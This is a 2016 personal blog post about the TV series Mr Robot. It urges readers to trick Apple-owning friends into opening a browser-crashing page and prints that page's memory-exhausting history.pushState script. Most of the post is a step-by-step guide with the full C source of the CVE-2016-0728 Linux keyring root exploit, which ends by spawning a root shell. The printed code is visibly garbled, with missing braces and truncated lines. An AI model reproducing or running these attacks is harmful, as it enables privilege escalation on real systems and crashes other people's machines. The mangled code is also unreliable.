Monday, January 25, 2016

Mr Robot

Mr Robot

I think I can speak more for myself and relate the many decades of intimate Computer involvement that has lead Marcus to really appreciate the US Television Series about a Programmer who is just slight awkward away from his computer(s).

I think about all those hours of self study with books, of soldering breadboards in basements, and of just trying to figure out how that kernel or TTL circuit worked.

Things are much easier today, there is something called the Internet and a way to search the public web, via Google, to answer almost any question.

But for those of us at a certain age, and dedication, you might feel affinity for the isolation, the trauma, and occasional elation of our flawed hero, Elliot as he tries to

Well ... you will just have to watch it right.

Your Starter for 10  
<-- click after reading below only

Perhaps to get your interest, why not tell your best Apple friends, you know, the smug and superior ones that are always telling you how their computers are the best, to run

from within their safari web browser. It does what the title suggests, so if you are a chicken, or if you are so dumb that you did not save all your work before proceeding, then of course don't run it.

Here is what happens on my Windows Test computer running with Chrome browser x64.

Before we start

Now let us start it from within Chrome .....

 85 percent CPU

 6.7 GB of memory used

9 GB of memory used

 Windows automatically kills the hog

So as you can see with Windows 10, build 11102, and Chrome Canary 64, build 50.0.2630.0, we survived just fine. The OS did not crash, but the offending Chrome Window (only) that was gobbling about 6GB of memory was closed. Good job.

What happens to your Apple OSX or iOS system & Safari then?

Oh, And Here is the code
<!DOCTYPE html>
        <h1>What were you expecting?</h1>
                    (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),

                    ga('create', 'UA-60737367-1', 'auto');
                    ga('send', 'pageview');
                    var total = "";
                    for( var i = 0; i < 100000; i++ ) {
                        total = total + i.toString();
                        history.pushState(0,0, total );


The script, which I researched, and is incidentally many months old, appears to do its dastardly work by using the history.pushstate() call to push a rather large number of entries into the browser history.

A Linux Exercise

To get you interested in Linux exploits here is a way to test out a recent and potentially serious root level exploit. In baby steps

- You will need a Linux system and a gcc, C compiler installed

- You can read about the Keyring issue from Perception Point who discovered it

- Their explanation is a bit technical so instead you can go for a more alarmist report, or perhaps a more balanced one

- This is the root exploit  Keyring problem , known as 

- For the purposes of the demonstration I'll use a Ubuntu based Linux distribution called Linux Mint at release 17.3

- Kernel is at 3.19.0-32

- Put the following program into a file  (press control-d at end to close the stream and create the file

cat > sudoh.c
/* $ gcc cve_2016_0728.c -o cve_2016_0728 -lkeyutils -Wall */
/* $ ./cve_2016_072 PP_KEY */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <keyutils.h>
#include <unistd.h>
#include <time.h>
#include <unistd.h>

#include <sys/ipc.h>
#include <sys/msg.h>

#define KEYCTL_SYSCALL_NR (250)

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;

#define STRUCT_LEN (0xb8 - 0x30)

void *
get_symbol(char *name)
    FILE *f = fopen("/proc/kallsyms", "r");
    char c, sym[512];
    void *addr;

    while (fscanf(f, "%p %c %s\n", &addr, &c, sym) > 0) {
        if (!strcmp(sym, name))
            return addr;

    return NULL;

struct key_type {
    char * name;
    size_t datalen;
    void * vet_description;
    void * preparse;
    void * free_preparse;
    void * instantiate;
    void * update;
    void * match_preparse;
    void * match_free;
    void * revoke;
    void * destroy;

void userspace_revoke(void * key) {

int main(int argc, const char *argv[]) {

const char *keyring_name;
size_t i = 0;
    unsigned long int l = 0x100000000/2;
key_serial_t serial = -1;
pid_t pid = -1;
    struct key_type * my_key_type = NULL;
struct { long mtype;
char mtext[STRUCT_LEN];
} msg = {0x4141414141414141, {0}};
int msqid;

if (argc != 2) {
puts("usage: ./keys <key_name>");
return 1;

    printf("uid=%d, euid=%d\n", getuid(), geteuid()); 
    commit_creds = (_commit_creds) get_symbol("commit_creds");
    prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred");
    my_key_type = malloc(sizeof(*my_key_type));

    my_key_type->revoke = (void*)userspace_revoke;
    memset(msg.mtext, 'A', sizeof(msg.mtext));

    // key->uid
    *(int*)(&msg.mtext[56]) = 0x3e8; /* geteuid() */
    *(int*)(&msg.mtext[64]) = 0x3f3f3f3f;

    *(unsigned long *)(&msg.mtext[80]) = (unsigned long)my_key_type;

    if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {

    keyring_name = argv[1];

/* Set the new session keyring before we start */

serial = syscall(KEYCTL_SYSCALL_NR, KEYCTL_JOIN_SESSION_KEYRING, keyring_name);
if (serial < 0) {
return -1;
return -1;

puts("Doh a deer ...");
    for (i = 1; i < 0xfffffffd; i++) {
        if (i == (0xffffffff - l)) {
            l = l/2;
        if (syscall(KEYCTL_SYSCALL_NR, KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
            return -1;
    /* here we are going to leak the last references to overflow */
    for (i=0; i<5; ++i) {
        if (syscall(KEYCTL_SYSCALL_NR, KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
            return -1;

    puts("a female deer ");
    /* allocate msg struct in the kernel rewriting the freed keyring object */
    for (i=0; i<64; i++) {
        pid = fork();
        if (pid == -1) {
            return -1;

        if (pid == 0) {
            if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
            for (i = 0; i < 64; i++) {
                if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1) {
    puts("finished forking");

    /* call userspace_revoke from kernel */
    puts("caling revoke...");

    printf("uid=%d, euid=%d\n", getuid(), geteuid());
    execl("/bin/sh", "/bin/sh", NULL);

    return 0;

- Add in libkeyutils because it is missing on my Ubuntu

sudo apt-get install libkeyutils-dev

- Now compile up the program
gcc sudoh.c -o sudoh -lkeyutils -Wall

- Now run & this took > 30 minutes to complete on my 4 core system:
./sudoh PP1

As you can see the exploit DID NOT work on this ubuntu system. Great. But how about on your system?

When you have worked thru all that I recommend you apply your brain to finding yourself a legal copy of Mr Robot ... available on Amazon Prime, and: all the usual sources.

Rami Malek dialog

Mr Robot Youtube channel videos

Meanwhile at Lenovo